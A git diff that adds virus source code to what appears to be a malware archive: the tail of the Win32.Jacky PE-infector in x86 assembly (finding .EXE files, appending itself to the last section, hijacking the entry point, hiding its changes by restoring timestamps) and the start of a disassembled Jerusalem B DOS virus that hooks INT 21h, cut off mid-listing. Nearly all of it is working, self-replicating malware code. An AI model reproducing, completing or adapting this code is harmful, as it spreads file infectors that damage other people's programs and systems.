vszGetProcAddress - v_end] + push eax esi ecx + call GetProcAddressIT ;get ptr to GetProcAddress API + mov [ebp + ddGetProcAddress - v_end],eax + push ecx + xor esi,esi + call GetProcAddressIT ;get ptr to GetModuleHandleA API + mov [ebp + ddGetModuleHandleA - v_end],eax + test eax,eax + jnz GetModHandle_found ;if GetModuleHandleA found, + test esi,esi ;jump and attach virus + jz end_Infect3 ;KERNEL32 import descriptor not found, + ;then dont infect + + x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR + + ;GetModuleHandleA not found + + cmp [esi.ID_TimeDateStamp - x],eax ;check if we can rely on + jz got_easy ;the ForwarderChain trick + cmp eax,[esi.ID_OriginalFirstThunk - x] + jz end_Infect3 + mov [esi.ID_TimeDateStamp - x],eax + +got_easy: + + mov eax,[esi.ID_ForwarderChain - x] ;hardcode pointerz to + mov [ebp + ptrForwarderChain - v_end],edx ;the ForwarderChain + mov [ebp + ddForwarderChain - v_end],eax ;field + +GetModHandle_found: + + mov esi,[ebp + pv_start - v_end] + call Attach ;attach virus to host +end_Infect3: + + call Close&UnmapFileAdj ;close and unmap file + +end_Infect2: + + mov ecx,[ebx.WFD_dwFileAttributes] ;restore original atribute + jecxz end_Infect1 + lea edx,[ebx.WFD_szFileName] + push ecx edx + call [ebp + ddSetFileAttributesA - v_end] + +end_Infect1: + + ret + +Infect endp + +Check_PE_sign proc ;checks validity of a PE file + ; on entry: EDX = host file size + ; ECX = base address of memory-maped file + ; EBX = pointer to WIN32_FIND_DATA structure + ; EAX = host file size - 80h + ; on exit: Zero flag = 1, infectable PE file + ; Zero flag = 0, not infectable file + + cmp word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature + jnz end_check_PE_sign + cmp word ptr [ecx.MZ_lfarlc],40h ;needs Win signature + jb end_check_PE_sign ;(well not necesarily) + mov edi,[ecx.MZ_lfanew] ;get ptr to new exe format + cmp eax,edi ;ptr out of range? + jb end_check_PE_sign + add edi,ecx + cmp dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature + jnz end_check_PE_sign + cmp word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+ + IMAGE_FILE_MACHINE_I386 + jnz end_check_PE_sign + mov eax,dword ptr [edi.NT_FileHeader.FH_Characteristics] + not al + test al,IMAGE_FILE_EXECUTABLE_IMAGE ;must have the executable bit + +end_check_PE_sign: + + ret + +Check_PE_sign endp + +Open&MapFile proc ;open and map file in read only mode + ; on entry: + ; EDX = pszFileName (pointer to file name) + ; on exit: + ; ECX = 0, if error + ; ECX = base adress of memory-maped file, if ok + + xor edi,edi + +Open&MapFileAdj: ;open and map file in read/write mode + ; on entry: + ; EDI = file size + work space (in bytes) + ; EDX = pszFileName (pointer to file name) + ; on exit: + ; ECX = 0, if error + ; ECX = base adress of memory-maped file, if ok + ; EDI = old file size + + xor eax,eax + push eax eax OPEN_EXISTING eax eax + mov al,1 + ror eax,1 + mov ecx,edi + jecxz $+4 + rcr eax,1 + push eax edx + call [ebp + ddCreateFileA - v_end] ;open file + cdq + inc eax + jz end_Open&MapFile + dec eax + push eax ;push first handle + + xor esi,esi + push edx edi edx + mov dl,PAGE_READONLY + mov ecx,edi + jecxz $+4 + shl dl,1 + push edx esi eax + call [ebp + ddCreateFileMappingA - v_end] ;create file + cdq ;mapping + xchg ecx,eax + jecxz end_Open&MapFile2 + push ecx ;push second handle + + push edi edx edx + mov dl,FILE_MAP_READ + test edi,edi + jz OMF_RdOnly + shr dl,1 + mov edi,[ebx.WFD_nFileSizeLow] +OMF_RdOnly: push edx ecx + call [ebp + ddMapViewOfFile - v_end] ;map view of file + xchg ecx,eax + jecxz end_Open&MapFile3 + push ecx ;push base address of + ;memory-mapped file + jmp [esp.(3*Pshd).RetAddr] ;jump to return adress leavin + ;parameterz in the stack +Open&MapFile endp + +Close&UnmapFile proc ;close and unmap file previosly opened in r/o mode + + xor edi,edi + +Close&UnmapFileAdj: ;close and unmap file previosly opened in r/w mode + + pop eax ;return adress + mov [esp.(3*Pshd).RetAddr],eax + call [ebp + ddUnmapViewOfFile - v_end] ;unmap view of file + +end_Open&MapFile3: + + call [ebp + ddCloseHandle - v_end] ;close handle + mov ecx,edi + jecxz end_Open&MapFile2 ;if read only mode jump + pop eax + push eax eax + xor esi,esi + push esi esi edi eax + xchg edi,eax + call [ebp + ddSetFilePointer - v_end] ;move file pointer to + ;the real end of file + call [ebp + ddSetEndOfFile - v_end] ;truncate file at + lea eax,[ebx.WFD_ftLastWriteTime] ;real end of file + push eax esi esi edi + call [ebp + ddSetFileTime - v_end] ;restore original + ;date/time stamp +end_Open&MapFile2: + + call [ebp + ddCloseHandle - v_end] ;close handle + +end_Open&MapFile: + + xor ecx,ecx + ret + +Close&UnmapFile endp + +Attach proc ;attach virus code to last section in the PE file and + ; change section characteristicz to reflect infection + ;on entry: + ; ECX = base of memory-maped file + ; ESI = pointer to start of virus code + ;on exit: + ; EDI = new file size + pushad + push ecx + mov ebp,ecx ;get base adress + add ebp,[ebp.MZ_lfanew] ;get PE header base + movzx ecx,word ptr [ebp.NT_FileHeader \ ;get Number of Sections + .FH_NumberOfSections] + xor eax,eax + movzx edi,word ptr [ebp.NT_FileHeader \ ;get 1st section header + .FH_SizeOfOptionalHeader] + x = IMAGE_SIZEOF_SECTION_HEADER + mov al,x + mul ecx ;get last section header + pop edx + jecxz end_Attach2 + add edi,eax + lea ebx,[ebp.NT_OptionalHeader + edi] + mov ecx,[ebx.SH_SizeOfRawData - x] + mov eax,[ebx.SH_VirtualSize - x] + cmp ecx,eax + jnc $+3 + xchg eax,ecx + add edx,[ebx.SH_PointerToRawData - x] + sub eax,-3 + mov ecx,(v_size + 3)/4 + and al,-4 + lea edi,[eax+edx] ;find pointer in last section where virus + cld ;will be copied + rep movsd ;copy virus + add eax,[ebx.SH_VirtualAddress - x] ;calculate virus entry point + mov ecx,[ebp.NT_OptionalHeader.OH_FileAlignment] ;in RVA + +end_Attach2: + + jecxz end_Attach + push eax ;virus entry point + lea esi,[edi + (phost_start_rva - v_start) - ((v_size + 3) \ + and (-4))] + neg eax + sub edi,edx + mov [esi + delta_host - phost_start_rva],eax ;harcode delta to + lea eax,[ecx+edi-1] ;host base adress + cdq ;edx=0 + sub edx,[ebp.NT_OptionalHeader.OH_AddressOfEntryPoint] + mov [esi],edx ;hardcode delta to original entry point RVA + cdq ;edx=0 + div ecx + pop esi ;virus entry point + mul ecx ;calculate new size of section (raw data) + xchg eax,edi + mov ecx,[ebp.NT_OptionalHeader.OH_SectionAlignment] + add eax,(virtual_end - v_end + 3) and (-4) + jecxz end_Attach + cmp [ebx.SH_VirtualSize - x],eax + jnc n_vir + mov [ebx.SH_VirtualSize - x],eax ;store new size of section (RVA) + n_vir: dec eax + mov [ebx.SH_SizeOfRawData - x],edi ;store new size of section + add eax,ecx ;(raw data) + div ecx + mul ecx + add eax,[ebx.SH_VirtualAddress - x] + cmp [ebp.NT_OptionalHeader.OH_SizeOfImage],eax + jnc n_img + mov [ebp.NT_OptionalHeader.OH_SizeOfImage],eax ;store new size + ;of image (RVA) + n_img: add edi,[ebx.SH_PointerToRawData - x] ;get new file size + sub ecx,ecx + or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0E0h ;change + ; (IMAGE_SCN_MEM_EXECUTE or \ ;section characte- + ; IMAGE_SCN_MEM_READ or \ ;risticz to: execute, + ; IMAGE_SCN_MEM_WRITE) shr 12 ;read & write access + pop eax ;get original file size + mov cl,size_pad + cdq ; edx=0 + cmp edi,eax ;compare it with new file size + jc $+3 + xchg edi,eax ;take the greater + sub eax,1 - size_pad + div ecx + mul ecx ;grow file size to a multiple of size_pad + push eax + mov [ebp.NT_OptionalHeader.OH_AddressOfEntryPoint],esi ;change + ;entry point +end_Attach: + + popad + ret + +Attach endp + +GetProcAddressIT proc ;gets a pointer to an API function from the Import Table + ; (the object inspected is in raw form, ie memory-maped) + ;on entry: + ; TOS+0Ch (Arg3): API function name + ; TOS+08h (Arg2): module name + ; TOS+04h (Arg1): base adress of memory-maped file + ; TOS+00h (return adress) + ;on exit: + ; EAX = RVA pointer to IAT entry + ; EAX = 0, if not found + pushad + mov ebp,[esp.cPushad.Arg1] ;get Module Handle from Arg1 + lea esi,[ebp.MZ_lfanew] + add esi,[esi] ;get address of PE header + MZ_lfanew + mov ecx,[esi.NT_OptionalHeader \ ;get size of import directory + .OH_DirectoryEntries \ + .DE_Import \ + .DD_Size \ + -MZ_lfanew] + jecxz End_GetProcAddressIT2 ;if size is zero, no API imported! + movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz + .FH_NumberOfSections \ + -MZ_lfanew] + jecxz End_GetProcAddressIT2 + movzx ebx,word ptr [esi.NT_FileHeader \ ;get 1st section header + .FH_SizeOfOptionalHeader \ + -MZ_lfanew] + lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew] + x = IMAGE_SIZEOF_SECTION_HEADER + +match_virtual: ;find section containin the import table. (not necesarily + ;its in the .idata section!) + + mov edi,[esi.NT_OptionalHeader \ ;get address of import table + .OH_DirectoryEntries \ + .DE_Import \ + .DD_VirtualAddress \ + -MZ_lfanew] + mov edx,[ebx.SH_VirtualAddress] ;get RVA start pointer of + sub edi,edx ;current section + add ebx,x + cmp edi,[ebx.SH_VirtualSize - x] ;address of import table + ;inside current section? + jb import_section_found ;yea, we found it + loop match_virtual ;no, try next section + jmp End_GetProcAddressIT ;no more sectionz, shit.. go + +import_section_found: + + push edi + mov eax,[ebx.SH_SizeOfRawData - x] + mov ebx,[ebx.SH_PointerToRawData - x] + xchg ebp,eax ;get RAW size of import section (EBP) + add ebx,eax ;get RAW start of import section (EBX) + cld + x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR + +Get_DLL_Name: ;scan each import descriptor inside import section to match + ;module name specified + + pop esi ;diference (if any) between start + ;of imp.table and start of imp.section + mov ecx,[ebx.esi.ID_Name] ;get RVA pointer to imp.module name + +End_GetProcAddressIT2: + + jecxz End_GetProcAddressIT ;end of import descriptorz? + sub ecx,edx ;convert RVA pointer to RAW + cmp ecx,ebp ;check if it points inside section + jae End_GetProcAddressIT + add esi,x + push esi ;save next import descriptor for later + lea esi,[ebx + ecx] ;retrieval + mov edi,[esp.(Pshd).cPushad.Arg2] ;get module name specified + ;from Arg2 +Next_char_from_DLL: ;do a char by char comparison with module name found + ;inside section. Stop when a NULL or a dot is found + lodsb + add al,-'.' + jz IT_nup ;its a dot + sub al,-'.'+'a' + cmp al, 'z'-'a'+ 1 + jae no_up + add al,-20h ;convert to upercase +no_up: sub al,-'a' +IT_nup: scasb + jnz Get_DLL_Name ;names dont match, get next import descriptor + cmp byte ptr [edi-1],0 + jnz Next_char_from_DLL + +Found_DLL_name: ;we got the import descriptor containin specified module name + + pop esi + lea eax,[edx + esi.ID_ForwarderChain - x] + add esi,ebx + mov [esp.Pushad_edx],eax ;store ptr to ForwarderChain for l8r + mov [esp.Pushad_esi],esi ;store ptr to imp.descriptor for l8r + push dword ptr [esp.cPushad.Arg3] + mov eax,[esp.(Pshd).Pushad_ebp] + push dword ptr [eax + K32Mod - v_end] + call GetProcAddressET ;scan exp.table of spec.module handle + xchg eax,ecx ;and get function adress of spec.API + mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the + ;API function adressez are bound + jecxz End_GetProcAddressIT ;if not found then go, this value cant + ;be zero or the IAT wont be patched + push eax + call GetProcAddrIAT ;inspect first thunk (which later will + test eax,eax ;be patched by the loader) + jnz IAT_found ;if found then jump (save it and go) + mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk + ;(which later will hold the original + ;unpatched IAT) + jecxz End_GetProcAddressIT ;if not found then go, this value + push eax ;could be zero + call GetProcAddrIAT ;inspect original thunk + test eax,eax + jz IAT_found ;jump if not found + sub eax,ecx ;we got the pointer + add eax,[esi.ID_FirstThunk - x] ;convert it to RVA + db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;bizarre! but no jump + org $ - 2 ;necesary! + +End_GetProcAddressIT: + + db 33h,0C0h ;xor eax,eax ;error, adress not found + +IAT_found: + + mov [esp.Pushad_eax],eax ;save IAT entry pointer + popad + ret (3*Pshd) ;go and unwind parameterz in stack + +GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords" + ; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for + ; the selected API name. This function works for both + ; bound and unbound import descriptorz. This function is + ; called from inside GetProcAddressIT. + ;on entry: + ; EBX = RAW start pointer of import section + ; ECX = RVA pointer to IMAGE_THUNK_ARRAY + ; EDX = RVA start pointer of import section + ; EDI = pointer selected API function name. + ; EBP = RAW size of import section + ; TOS+04h (Arg1): real address of API function inside selected + ; module (in case the descriptor is unbound). + ; TOS+00h (return adress) + ;on exit: + ; EAX = RVA pointer to IAT entry + ; EAX = 0, if not found + + push ecx + push esi + + xor eax,eax + sub ecx,edx + cmp ecx,ebp + jae IT_not_found + lea esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array + +next_thunk_dword: + + lodsd ;get dword value + test eax,eax ;end of IMAGE_THUNK_DATA array? + jz IT_not_found + +no_ordinal: + + sub eax,edx ;convert dword to a RAW pointer + cmp eax,ebp ;dword belongs to an unbound image descriptor? + jb IT_search ;no, jump + add eax,edx ;we have the API adress, reconvert to RVA + cmp eax,[esp.(2*Pshd).Arg1] ;API adressez match? + jmp IT_found? ;yea, we found it, jump + +IT_search: + + push esi ;image descr.contains imports by name + lea esi,[ebx+eax.IBN_Name] ;get API name from import descriptor + mov edi,[esp.(5*Pshd).cPushad.Arg3] ;get API name selected as a + ;parameter +IT_next_char: + ;find req.API from all imported API namez + cmpsb ;do APIz match? + jnz IT_new_search ;no, continue searchin + +IT_Matched_char: + + cmp byte ptr [esi-1],0 + jnz IT_next_char + +IT_new_search: + + pop esi ;yea, they match, we found it + +IT_found?: + + jnz next_thunk_dword + lea eax,[edx+esi-4] ;get the pointer to the new IAT entry + sub eax,ebx ;convert it to RVA + +IT_not_found: + + pop esi + pop ecx + + ret (Pshd) + +GetProcAddressIT endp + +GetProcAddressET proc ;This function is similar to GetProcAddressIT except + ; that it looks for API functions in the export table + ; of a given DLL module. It has the same functionality + ; as the original GetProcAddress API exported from + ; KERNEL32 except that it is able to find API + ; functions exported by ordinal from KERNEL32. + ;on entry: + ; TOS+08h (Arg2): pszAPIname (pointer to API name) + ; TOS+04h (Arg1): module handle/base address of module + ; TOS+00h (return adress) + ;on exit: + ; ECX = API function address + ; ECX = 0, if not found + pushad + mov eax,[esp.cPushad.Arg1] ;get Module Handle from Arg1 + mov ebx,eax + add eax,[eax.MZ_lfanew] ;get address of PE header + mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory + .OH_DirectoryEntries \ + .DE_Export \ + .DD_Size] + jecxz Proc_Address_not_found ;size is zero, No API exported ! + mov ebp,ebx ;get address of Export directory + add ebp,[eax.NT_OptionalHeader \ + .OH_DirectoryEntries \ + .DE_Export \ + .DD_VirtualAddress] +ifndef NoOrdinal + mov eax,[esp.cPushad.Arg2] ;get address of requested API name or + ;ordinal value from Arg2 + test eax,-10000h ;check if Arg2 is an ordinal + jz Its_API_ordinal +endif + +Its_API_name: + + push ecx + mov edx,ebx ;get address of exported API names + add edx,[ebp.ED_AddressOfNames] + mov ecx,[ebp.ED_NumberOfNames] ;get number of exported API names + xor eax,eax + cld + +Search_for_API_name: + + mov esi,ebx ;get address of next exported API name + add esi,[edx+eax*4] + mov edi,[esp.Pshd.cPushad.Arg2] ;get address of requested API name + ;from Arg2 +Next_Char_in_API_name: + + cmpsb ;find requested API from all + jz Matched_char_in_API_name ;exported API namez + inc eax + loop Search_for_API_name + pop eax + +Proc_Address_not_found: + + xor eax,eax ;API not found + jmp End_GetProcAddressET + +ifndef NoOrdinal + +Its_API_ordinal: + + sub eax,[ebp.ED_BaseOrdinal] ;normalize Ordinal, i.e. + jmp Check_Index ;convert it to an index +endif + +Matched_char_in_API_name: + + cmp byte ptr [esi-1],0 ;end of API name reached? + jnz Next_Char_in_API_name + pop ecx + mov edx,ebx ;get address of exp.API ordinals + add edx,[ebp.ED_AddressOfOrdinals] + movzx eax,word ptr [edx+eax*2] ;get index into exp.API functions + +Check_Index: + + cmp eax,[ebp.ED_NumberOfFunctions] ;check for out of range index + jae Proc_Address_not_found + mov edx,ebx ;get address of exported API functions + add edx,[ebp.ED_AddressOfFunctions] + add ebx,[edx+eax*4] ;get address of requested API function + mov eax,ebx + sub ebx,ebp ;take care of forwarded API functions + cmp ebx,ecx + jb Proc_Address_not_found + +End_GetProcAddressET: + + mov [esp.Pushad_ecx],eax ;set requested Proc Address, if found + popad + ret (2*Pshd) + +GetProcAddressET endp + +MyGetProcAddressK32: ;this function is simply a wraper to the GetProcAddress + ; API. It retrieves the address of an API function + ; exported from KERNEL32. + ;on entry: + ; TOS+04h (Arg1): pszAPIname (pointer to API name) + ; TOS+00h (return adress) + ;on exit: + ; ECX = API function address + ; ECX = 0, if not found + + + pop eax + push dword ptr [ebp + K32Mod - v_end] ;KERNEL32 module handle + push eax + +MyGetProcAddress proc + + mov ecx,12345678h ;this dynamic variable will hold an RVA +ddGetProcAddress = dword ptr $ - 4 ;pointer to the GetProcAddress API in + ;the IAT +gotoGetProcAddressET: + + jecxz GetProcAddressET + push [esp.Arg2] + push [esp.(Pshd).Arg1] + add ecx,[ebp + phost_hdr - v_end] + call [ecx] ;call the original GetProcAddress API + xchg ecx,eax + jecxz gotoGetProcAddressET ;if error, call my own GetProcAddress + ret (2*Pshd) ;function + +MyGetProcAddress endp + +MyGetModuleHandleA proc ;this function retrieves the base address/module + ;handle of a DLL module previosly loaded to memory. + pop ecx + pop eax + push ecx + mov edx,[ebp + phost_hdr - v_end] + mov ecx,12345678h ;this dynamic variable will hold an RVA +ddGetModuleHandleA = dword ptr $ - 4 ;pointer to the GetModuleHandleA API in + jecxz check_K32 ;the IAT + +GetModHandleA: + + push eax + call [ecx + edx] ;call the original GetModuleHandleA API + xor ecx,ecx + jmp really_PE? + +check_K32: + + mov eax,[edx + 12345678h] ;this dynamic variable will hold an + ;RVA pointer to the ForwarderChain + ;field in the KERNEL32 import + ;descriptor. This is an undocumented +ptrForwarderChain = dword ptr $ - 4 ;feature to get the K32 base address + inc eax + jz End_GetModHandleA ;make sure the base address is ok + dec eax + jz End_GetModHandleA + cmp eax,12345678h ;this dynamic variable will hold the + ;prev.contents of the ForwarderChain + ;field in the K32 import descriptor +ddForwarderChain = dword ptr $ - 4 ;if they match, then the Win32 loader + jz End_GetModHandleA ;didnt copy the K32 base address + +really_PE?: + + cmp word ptr [eax],IMAGE_DOS_SIGNATURE ;make sure its the base + jnz End_GetModHandleA ;address of a PE module + mov edx,[eax.MZ_lfanew] + cmp dword ptr [eax + edx],IMAGE_NT_SIGNATURE + jnz End_GetModHandleA + xchg ecx,eax + +End_GetModHandleA: + + ret + +MyGetModuleHandleA endp + +align 4 ;set dword alignment + +v_end: + +;uninitialized data ;these variablez will be addressed in memory, but + ;dont waste space in the file + +pv_start dd ? ;pointer to virus start in memory +phost_hdr dd ? ;ptr to the host base address in mem +K32Mod dd ? ;KERNEL32 base address + +FunctionAddressez: ;these variables will hold the API function addressez + ;used in the virus + +ddCreateFileA dd ? +ddCreateFileMappingA dd ? +ddCloseHandle dd ? +ddUnmapViewOfFile dd ? +ddMapViewOfFile dd ? +ddFindFirstFileA dd ? +ddFindNextFileA dd ? +ddFindClose dd ? +ddSetFileAttributesA dd ? +ddSetFilePointer dd ? +ddSetEndOfFile dd ? +ddSetFileTime dd ? + +v_stringz: ;the API names used by the virus are decrypted here + +vszKernel32 db 'KERNEL32',0 +vszGetModuleHandleA db 'GetModuleHandleA',0 +vszGetProcAddress db 'GetProcAddress',0 + +EXE_filez db '*.EXE',0 ;the file mask + +FunctionNamez: + +vszCreateFileA db 'CreateFileA',0 +vszCreateFileMappingA db 'CreateFileMappingA',0 +vszCloseHandle db 'CloseHandle',0 +vszUnmapViewOfFile db 'UnmapViewOfFile',0 +vszMapViewOfFile db 'MapViewOfFile',0 +vszFindFirstFileA db 'FindFirstFileA',0 +vszFindNextFileA db 'FindNextFileA',0 +vszFindClose db 'FindClose',0 +vszSetFileAttributesA db 'SetFileAttributesA',0 +vszSetFilePointer db 'SetFilePointer',0 +vszSetEndOfFile db 'SetEndOfFile',0 +vszSetFileTime db 'SetFileTime',0 + +EndOfFunctionNames db 0 + +align 4 + +FindData WIN32_FIND_DATA ? + +virtual_end: + +first_generation: ;this routine will be called only once from the first + ;generation sample, it simply initializes some variables + ;needed in the very first run. +jumps + push NULL + call GetModuleHandleA + test eax,eax + jz exit_host + xchg ecx,eax + call here +here: pop ebx + + mov eax,ebx + sub eax,here - v_start + sub eax,ecx + neg eax + mov [ebx + delta_host - here],eax ;set delta host value + + mov eax,ebx + sub eax,here - host + sub eax,ecx + neg eax + mov [ebx + phost_start_rva - here],eax ;set pointer to + ;host's base adress + mov eax,[ebx + pfnGMH - here] + .if word ptr [eax] == 25FFh ; JMP [nnnnnnnn] + mov eax,[eax + 2] + .endif + sub eax,ecx + mov [ebx + ddGetModuleHandleA - here],eax ;set GetModuleHandleA + ;RVA pointer + mov eax,[ebx + pfnGPA - here] + .if word ptr [eax] == 25FFh ; JMP [nnnnnnnn] + mov eax,[eax + 2] + .endif + sub eax,ecx + mov [ebx + ddGetProcAddress - here],eax ;set GetProcAddress + ;RVA pointer + pushad ;encrypt unencrypted API namez and other + ;stringz + cld + mov ecx,ve_string_size + lea esi,[ebx + ve_stringz - here] + mov edi,esi + call crypt_back + popad + jmp v_start ;ok, here we go.. jump to virus start.. + +crypt_back: ;encryption routine + + lodsb + not al + ror al,cl + stosb + loop crypt_back + ret + +pfnGMH dd offset GetModuleHandleA +pfnGPA dd offset GetProcAddress + +;Host code starts here + +extrn MessageBoxA: proc +extrn ExitProcess: proc + +host: ;here begins the original host code + +;Display Message box + + push MB_OK + @pushsz "(c) Win32.Jacky by jqwerty/29A" + @pushsz "First generation sample" + push NULL + call MessageBoxA + +;Exit host + +exit_host: + + push 0 + call ExitProcess + + end first_generation diff --git a/j/JERU-B.ASM b/j/JERU-B.ASM new file mode 100755 index 0000000..556a184 --- /dev/null +++ b/j/JERU-B.ASM @@ -0,0 +1,794 @@ +This is the Jerusalem B Virus. +"JV.MOC" PAGE 0001 + +0000:0000 E99200 JMP X0095 +0000:0003 7355 JAE X005A +0000:0005 4D DEC BP +0000:0006 7344 JAE X004C +0000:0008 6F73 JG X007D +0000:000A 0001 ADD [BX+DI],AL +0000:000C BD1700 MOV BP,0017H +0000:000F 0000 ADD [BX+SI],AL +0000:0011 06 PUSH ES +0000:0012 00A5FE00 ADD [DI+Y00FEH],AH +0000:0016 F016 LOCK PUSH SS +0000:0018 17 POP SS +0000:0019 7702 JA X001D +0000:001B BF053D MOV DI,03D05H +0000:001E 0CFB OR AL,0FBH +0000:0020 7D00 JGE X0022 +0000:0022 0000 X0022: ADD [BX+SI],AL +0000:0024 0000 ADD [BX+SI],AL +0000:0026 0000 ADD [BX+SI],AL +0000:0028 0000 ADD [BX+SI],AL +0000:002A 0000 ADD [BX+SI],AL +0000:002C 0000 ADD [BX+SI],AL +0000:002E E8062A CALL X2A37 +0000:0031 B10D MOV CL,0DH +0000:0033 800000 ADD BYTE PTR [BX+SI],00H +0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL +0000:003A 0D5C00 OR AX,005CH +0000:003D B10D MOV CL,0DH +0000:003F 6C00 JL X0041 +0000:0041 B10D X0041: MOV CL,0DH +0000:0043 0004 ADD [SI],AL +0000:0045 5F POP DI +0000:0046 0F POP CS +0000:0047 B400 MOV AH,00H +0000:0049 C1 RET ; INTRASEGMENT +0000:004A 0D00F0 X004A: OR AX,0F000H +0000:004D 06 PUSH ES +0000:004E 004D5A ADD [DI+05AH],CL +0000:0051 2000 AND [BX+SI],AL +0000:0053 1000 ADC [BX+SI],AL +0000:0055 1900 SBB [BX+SI],AX +0000:0057 0800 OR [BX+SI],AL +0000:0059 7500 JNZ X005B +0000:005B 7500 X005B: JNZ X005D +0000:005D 6901 X005D: JNS X0060 +0000:005F 1007 ADC [BX],AL +0000:0061 8419 TEST BL,[BX+DI] +0000:0063 C500 LDS AX,[BX+SI] +0000:0065 6901 JNS X0068 +0000:0067 1C00 SBB AL,00H +0000:0069 0000 ADD [BX+SI],AL +0000:006B 4C X006B: DEC SP +0000:006C B000 MOV AL,00H +0000:006E CD21 INT 021H +0000:0070 050020 ADD AX,02000H +0000:0073 0037 ADD [BX],DH + +"JV.MOC" PAGE 0002 + +0000:0075 121C ADC BL,[SI] +0000:0077 0100 ADD [BX+SI],AX +0000:0079 0210 ADD DL,[BX+SI] +0000:007B 0010 ADD [BX+SI],DL +0000:007D 17 X007D: POP SS +0000:007E 0000 ADD [BX+SI],AL +0000:0080 53 PUSH BX +0000:0081 61E8 JNO X006B +0000:0083 38434F CMP [BP+DI+04FH],AL +0000:0086 4D DEC BP +0000:0087 4D DEC BP +0000:0088 41 INC CX +0000:0089 4E DEC SI +0000:008A 44 INC SP +0000:008B 2E43 INC BX +0000:008D 4F DEC DI +0000:008E 4D DEC BP +0000:008F 0100 ADD [BX+SI],AX +0000:0091 0000 ADD [BX+SI],AL +0000:0093 0000 ADD [BX+SI],AL +0000:0095 FC X0095: CLD +0000:0096 B4E0 MOV AH,0E0H +0000:0098 CD21 INT 021H +0000:009A 80FCE0 CMP AH,0E0H +0000:009D 7316 JAE X00B5 +0000:009F 80FC03 CMP AH,03H +0000:00A2 7211 JB X00B5 +0000:00A4 B4DD MOV AH,0DDH +0000:00A6 BF0001 MOV DI,0100H +0000:00A9 BE1007 MOV SI,0710H +0000:00AC 03F7 ADD SI,DI +0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H] +0000:00B3 CD21 INT 021H +0000:00B5 8CC8 X00B5: MOV AX,CS +0000:00B7 051000 ADD AX,0010H +0000:00BA 8ED0 MOV SS,AX +0000:00BC BC0007 MOV SP,0700H +0000:00BF 50 PUSH AX +0000:00C0 B8C500 MOV AX,00C5H +0000:00C3 50 PUSH AX +0000:00C4 CB RET ; INTERSEGMENT +0000:00C5 FC X00C5: CLD +0000:00C6 06 PUSH ES +0000:00C7 2E8C063100 MOV CS:[Y0031H],ES +0000:00CC 2E8C063900 MOV CS:[Y0039H],ES +0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES +0000:00D6 2E8C064100 MOV CS:[Y0041H],ES +0000:00DB 8CC0 MOV AX,ES +0000:00DD 051000 ADD AX,0010H +0000:00E0 2E01064900 ADD CS:[Y0049H],AX +0000:00E5 2E01064500 ADD CS:[Y0045H],AX +0000:00EA B4E0 MOV AH,0E0H +0000:00EC CD21 INT 021H +0000:00EE 80FCE0 CMP AH,0E0H +0000:00F1 7313 JAE X0106 +0000:00F3 80FC03 CMP AH,03H + +"JV.MOC" PAGE 0003 + +0000:00F6 07 POP ES +0000:00F7 2E8E164500 MOV SS,CS:[Y0045H] +0000:00FC 2E8B264300 MOV SP,CS:[Y0043H] +0000:0101 2EFF2E4700 JMP CS:[Y0047H] +0000:0106 33C0 X0106: XOR AX,AX +0000:0108 8EC0 MOV ES,AX +0000:010A 26A1FC03 MOV AX,ES:Y03FCH +0000:010E 2EA34B00 MOV CS:Y004BH,AX +0000:0112 26A0FE03 MOV AL,ES:Y03FEH +0000:0116 2EA24D00 MOV CS:Y004DH,AL +0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H +0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH +0000:0127 58 POP AX +0000:0128 051000 ADD AX,0010H +0000:012B 8EC0 MOV ES,AX +0000:012D 0E PUSH CS +0000:012E 1F POP DS +0000:012F B91007 MOV CX,0710H +0000:0132 D1E9 SHR CX,1 +0000:0134 33F6 XOR SI,SI +0000:0136 8BFE MOV DI,SI +0000:0138 06 PUSH ES +0000:0139 B84201 MOV AX,0142H +0000:013C 50 PUSH AX +0000:013D EAFC030000 JMP X0000_03FC +0000:0142 8CC8 MOV AX,CS +0000:0144 8ED0 MOV SS,AX +0000:0146 BC0007 MOV SP,0700H +0000:0149 33C0 XOR AX,AX +0000:014B 8ED8 MOV DS,AX +0000:014D 2EA14B00 MOV AX,CS:Y004BH +0000:0151 A3FC03 MOV Y03FCH,AX +0000:0154 2EA04D00 MOV AL,CS:Y004DH +0000:0158 A2FE03 MOV Y03FEH,AL +0000:015B 8BDC MOV BX,SP +0000:015D B104 MOV CL,04H +0000:015F D3EB SHR BX,CL +0000:0161 83C310 ADD BX,0010H +0000:0164 2E891E3300 MOV CS:[Y0033H],BX +0000:0169 B44A MOV AH,04AH +0000:016B 2E8E063100 MOV ES,CS:[Y0031H] +0000:0170 CD21 INT 021H +0000:0172 B82135 MOV AX,03521H +0000:0175 CD21 INT 021H +0000:0177 2E891E1700 MOV CS:[Y0017H],BX +0000:017C 2E8C061900 MOV CS:[Y0019H],ES +0000:0181 0E PUSH CS +0000:0182 1F POP DS +0000:0183 BA5B02 MOV DX,025BH +0000:0186 B82125 MOV AX,02521H +0000:0189 CD21 INT 021H +0000:018B 8E063100 MOV ES,[Y0031H] +0000:018F 268E062C00 MOV ES,ES:[Y002CH] +0000:0194 33FF XOR DI,DI +0000:0196 B9FF7F MOV CX,07FFFH +0000:0199 32C0 XOR AL,AL + +"JV.MOC" PAGE 0004 + +0000:019B F2AE X019B: REPNE SCASB +0000:019D 263805 CMP ES:[DI],AL +0000:01A0 E0F9 LOOPNZ X019B +0000:01A2 8BD7 MOV DX,DI +0000:01A4 83C203 ADD DX,0003H +0000:01A7 B8004B MOV AX,04B00H +0000:01AA 06 